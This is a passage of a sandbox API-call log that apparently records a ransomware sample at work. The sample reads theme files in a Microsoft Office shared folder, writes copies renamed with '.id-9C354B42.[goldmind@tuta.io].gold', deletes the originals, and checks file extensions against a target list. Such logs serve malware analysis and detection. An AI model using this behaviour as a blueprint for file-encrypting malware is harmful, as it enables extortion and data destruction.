hTemplateFile=0x0) returned 0x18c [0042.598] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.598] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.598] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x204 [0042.958] GetLastError () returned 0x0 [0042.958] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0xa2c, lpOverlapped=0x0) returned 1 [0042.960] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xa30, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xa30, lpOverlapped=0x0) returned 1 [0042.961] ReadFile (in: hFile=0x18c, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0042.961] WriteFile (in: hFile=0x204, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xea, lpOverlapped=0x0) returned 1 [0042.961] SetEndOfFile (hFile=0x204) returned 1 [0042.961] CloseHandle (hObject=0x204) returned 1 [0042.961] SetFilePointerEx (in: hFile=0x18c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0042.961] SetEndOfFile (hFile=0x18c) returned 1 [0042.962] CloseHandle (hObject=0x18c) returned 1 [0042.962] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0042.962] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\ripple\\preview.gif")) returned 1 [0042.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.962] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.962] lstrlenW (lpString=".doc") returned 4 [0042.962] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.962] lstrlenW (lpString=".docx") returned 5 [0042.962] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.962] lstrlenW (lpString=".pdf") returned 4 [0042.962] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.962] lstrlenW (lpString=".xls") returned 4 [0042.962] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.962] lstrlenW (lpString=".xlsx") returned 5 [0042.962] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.962] lstrlenW (lpString=".ppt") returned 4 [0042.962] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString=".zip") returned 4 [0042.963] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.963] lstrlenW (lpString=".rar") returned 4 [0042.963] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.963] lstrlenW (lpString=".bz2") returned 4 [0042.963] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.963] lstrlenW (lpString=".7z") returned 3 [0042.963] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString=".dbf") returned 4 [0042.963] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString=".1cd") returned 4 [0042.963] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString=".jpg") returned 4 [0042.963] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString=".doc") returned 4 [0042.963] lstrcmpiW (lpString1=".doc", lpString2=".GIF") returned -1 [0042.963] lstrlenW (lpString=".docx") returned 5 [0042.963] lstrcmpiW (lpString1=".docx", lpString2="W.GIF") returned -1 [0042.963] lstrlenW (lpString=".pdf") returned 4 [0042.963] lstrcmpiW (lpString1=".pdf", lpString2=".GIF") returned 1 [0042.963] lstrlenW (lpString=".xls") returned 4 [0042.963] lstrcmpiW (lpString1=".xls", lpString2=".GIF") returned 1 [0042.963] lstrlenW (lpString=".xlsx") returned 5 [0042.963] lstrcmpiW (lpString1=".xlsx", lpString2="W.GIF") returned -1 [0042.963] lstrlenW (lpString=".ppt") returned 4 [0042.963] lstrcmpiW (lpString1=".ppt", lpString2=".GIF") returned 1 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString=".zip") returned 4 [0042.963] lstrcmpiW (lpString1=".zip", lpString2=".GIF") returned 1 [0042.963] lstrlenW (lpString=".rar") returned 4 [0042.963] lstrcmpiW (lpString1=".rar", lpString2=".GIF") returned 1 [0042.963] lstrlenW (lpString=".bz2") returned 4 [0042.963] lstrcmpiW (lpString1=".bz2", lpString2=".GIF") returned -1 [0042.963] lstrlenW (lpString=".7z") returned 3 [0042.963] lstrcmpiW (lpString1=".7z", lpString2="GIF") returned -1 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString=".dbf") returned 4 [0042.963] lstrcmpiW (lpString1=".dbf", lpString2=".GIF") returned -1 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString=".1cd") returned 4 [0042.963] lstrcmpiW (lpString1=".1cd", lpString2=".GIF") returned -1 [0042.963] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\RIPPLE\\PREVIEW.GIF") returned 74 [0042.963] lstrlenW (lpString=".jpg") returned 4 [0042.963] lstrcmpiW (lpString1=".jpg", lpString2=".GIF") returned 1 [0042.963] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0042.964] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0042.964] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x20c [0043.225] GetFileSizeEx (in: hFile=0x20c, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=27177) returned 1 [0043.225] CloseHandle (hObject=0x20c) returned 1 [0043.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 0x20 [0043.232] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.232] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.237] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.237] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.237] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.239] GetLastError () returned 0x0 [0043.245] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x6a29, lpOverlapped=0x0) returned 1 [0043.255] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x6a30, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x6a30, lpOverlapped=0x0) returned 1 [0043.256] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.256] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.256] SetEndOfFile (hFile=0x188) returned 1 [0043.256] CloseHandle (hObject=0x188) returned 1 [0043.256] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.256] SetEndOfFile (hFile=0x190) returned 1 [0043.257] CloseHandle (hObject=0x190) returned 1 [0043.257] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.257] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\slate\\thmbnail.png")) returned 1 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.258] lstrlenW (lpString=".doc") returned 4 [0043.258] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.258] lstrlenW (lpString=".docx") returned 5 [0043.258] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.258] lstrlenW (lpString=".pdf") returned 4 [0043.258] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.258] lstrlenW (lpString=".xls") returned 4 [0043.258] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.258] lstrlenW (lpString=".xlsx") returned 5 [0043.258] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.258] lstrlenW (lpString=".ppt") returned 4 [0043.258] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.258] lstrlenW (lpString=".zip") returned 4 [0043.258] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.258] lstrlenW (lpString=".rar") returned 4 [0043.258] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.258] lstrlenW (lpString=".bz2") returned 4 [0043.258] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.258] lstrlenW (lpString=".7z") returned 3 [0043.258] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.258] lstrlenW (lpString=".dbf") returned 4 [0043.258] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.258] lstrlenW (lpString=".1cd") returned 4 [0043.258] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.258] lstrlenW (lpString=".jpg") returned 4 [0043.258] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.258] lstrlenW (lpString=".doc") returned 4 [0043.258] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.258] lstrlenW (lpString=".docx") returned 5 [0043.258] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.258] lstrlenW (lpString=".pdf") returned 4 [0043.258] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.258] lstrlenW (lpString=".xls") returned 4 [0043.258] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.258] lstrlenW (lpString=".xlsx") returned 5 [0043.258] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.258] lstrlenW (lpString=".ppt") returned 4 [0043.258] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.258] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.258] lstrlenW (lpString=".zip") returned 4 [0043.258] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.258] lstrlenW (lpString=".rar") returned 4 [0043.258] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.258] lstrlenW (lpString=".bz2") returned 4 [0043.258] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.259] lstrlenW (lpString=".7z") returned 3 [0043.259] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.259] lstrlenW (lpString=".dbf") returned 4 [0043.259] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.259] lstrlenW (lpString=".1cd") returned 4 [0043.259] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.259] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SLATE\\THMBNAIL.PNG") returned 74 [0043.259] lstrlenW (lpString=".jpg") returned 4 [0043.259] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.259] lstrcmpiW (lpString1=".PNG", lpString2=".gold") returned 1 [0043.259] lstrlenW (lpString="THMBNAIL.PNG") returned 12 [0043.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.259] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=18380) returned 1 [0043.259] CloseHandle (hObject=0x190) returned 1 [0043.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 0x20 [0043.259] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.259] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.259] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.259] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png.id-9c354b42.[goldmind@tuta.io].gold"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x188 [0043.260] GetLastError () returned 0x0 [0043.260] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x47cc, lpOverlapped=0x0) returned 1 [0043.261] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0x47d0, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0x47d0, lpOverlapped=0x0) returned 1 [0043.262] ReadFile (in: hFile=0x190, lpBuffer=0x3750020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c6fed4, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesRead=0x2c6fed4*=0x0, lpOverlapped=0x0) returned 1 [0043.262] WriteFile (in: hFile=0x188, lpBuffer=0x3750020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2c6fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3750020*, lpNumberOfBytesWritten=0x2c6fc9c*=0xec, lpOverlapped=0x0) returned 1 [0043.262] SetEndOfFile (hFile=0x188) returned 1 [0043.262] CloseHandle (hObject=0x188) returned 1 [0043.263] SetFilePointerEx (in: hFile=0x190, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c6fec8 | out: lpNewFilePointer=0x0) returned 1 [0043.263] SetEndOfFile (hFile=0x190) returned 1 [0043.263] CloseHandle (hObject=0x190) returned 1 [0043.263] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG.id-9C354B42.[goldmind@tuta.io].gold", dwFileAttributes=0x20) returned 1 [0043.263] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\studio\\thmbnail.png")) returned 1 [0043.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.264] lstrlenW (lpString=".doc") returned 4 [0043.264] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.264] lstrlenW (lpString=".docx") returned 5 [0043.264] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.264] lstrlenW (lpString=".pdf") returned 4 [0043.264] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.264] lstrlenW (lpString=".xls") returned 4 [0043.264] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.264] lstrlenW (lpString=".xlsx") returned 5 [0043.264] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.264] lstrlenW (lpString=".ppt") returned 4 [0043.264] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.264] lstrlenW (lpString=".zip") returned 4 [0043.264] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.264] lstrlenW (lpString=".rar") returned 4 [0043.264] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.264] lstrlenW (lpString=".bz2") returned 4 [0043.264] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.264] lstrlenW (lpString=".7z") returned 3 [0043.264] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.264] lstrlenW (lpString=".dbf") returned 4 [0043.264] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.264] lstrlenW (lpString=".1cd") returned 4 [0043.264] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.264] lstrlenW (lpString=".jpg") returned 4 [0043.264] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.264] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.264] lstrlenW (lpString=".doc") returned 4 [0043.264] lstrcmpiW (lpString1=".doc", lpString2=".PNG") returned -1 [0043.265] lstrlenW (lpString=".docx") returned 5 [0043.265] lstrcmpiW (lpString1=".docx", lpString2="L.PNG") returned -1 [0043.265] lstrlenW (lpString=".pdf") returned 4 [0043.265] lstrcmpiW (lpString1=".pdf", lpString2=".PNG") returned -1 [0043.265] lstrlenW (lpString=".xls") returned 4 [0043.265] lstrcmpiW (lpString1=".xls", lpString2=".PNG") returned 1 [0043.265] lstrlenW (lpString=".xlsx") returned 5 [0043.265] lstrcmpiW (lpString1=".xlsx", lpString2="L.PNG") returned -1 [0043.265] lstrlenW (lpString=".ppt") returned 4 [0043.265] lstrcmpiW (lpString1=".ppt", lpString2=".PNG") returned 1 [0043.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.265] lstrlenW (lpString=".zip") returned 4 [0043.265] lstrcmpiW (lpString1=".zip", lpString2=".PNG") returned 1 [0043.265] lstrlenW (lpString=".rar") returned 4 [0043.265] lstrcmpiW (lpString1=".rar", lpString2=".PNG") returned 1 [0043.265] lstrlenW (lpString=".bz2") returned 4 [0043.265] lstrcmpiW (lpString1=".bz2", lpString2=".PNG") returned -1 [0043.265] lstrlenW (lpString=".7z") returned 3 [0043.265] lstrcmpiW (lpString1=".7z", lpString2="PNG") returned -1 [0043.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.265] lstrlenW (lpString=".dbf") returned 4 [0043.265] lstrcmpiW (lpString1=".dbf", lpString2=".PNG") returned -1 [0043.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.265] lstrlenW (lpString=".1cd") returned 4 [0043.265] lstrcmpiW (lpString1=".1cd", lpString2=".PNG") returned -1 [0043.265] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\STUDIO\\THMBNAIL.PNG") returned 75 [0043.265] lstrlenW (lpString=".jpg") returned 4 [0043.265] lstrcmpiW (lpString1=".jpg", lpString2=".PNG") returned -1 [0043.265] lstrcmpiW (lpString1=".GIF", lpString2=".gold") returned -1 [0043.265] lstrlenW (lpString="PREVIEW.GIF") returned 11 [0043.265] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x190 [0043.266] GetFileSizeEx (in: hFile=0x190, lpFileSize=0x2c6ff1c | out: lpFileSize=0x2c6ff1c*=4991) returned 1 [0043.266] CloseHandle (hObject=0x190) returned 1 [0043.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif")) returned 0x20 [0043.266] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF.id-9C354B42.[goldmind@tuta.io].gold" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif.id-9c354b42.[goldmind@tuta.io].gold")) returned 0xffffffff [0043.266] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\THEMES14\\SUMIPNTG\\PREVIEW.GIF" (normalized: "c:\\program files\\common files\\microsoft shared\\themes14\\sumipntg\\preview.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, 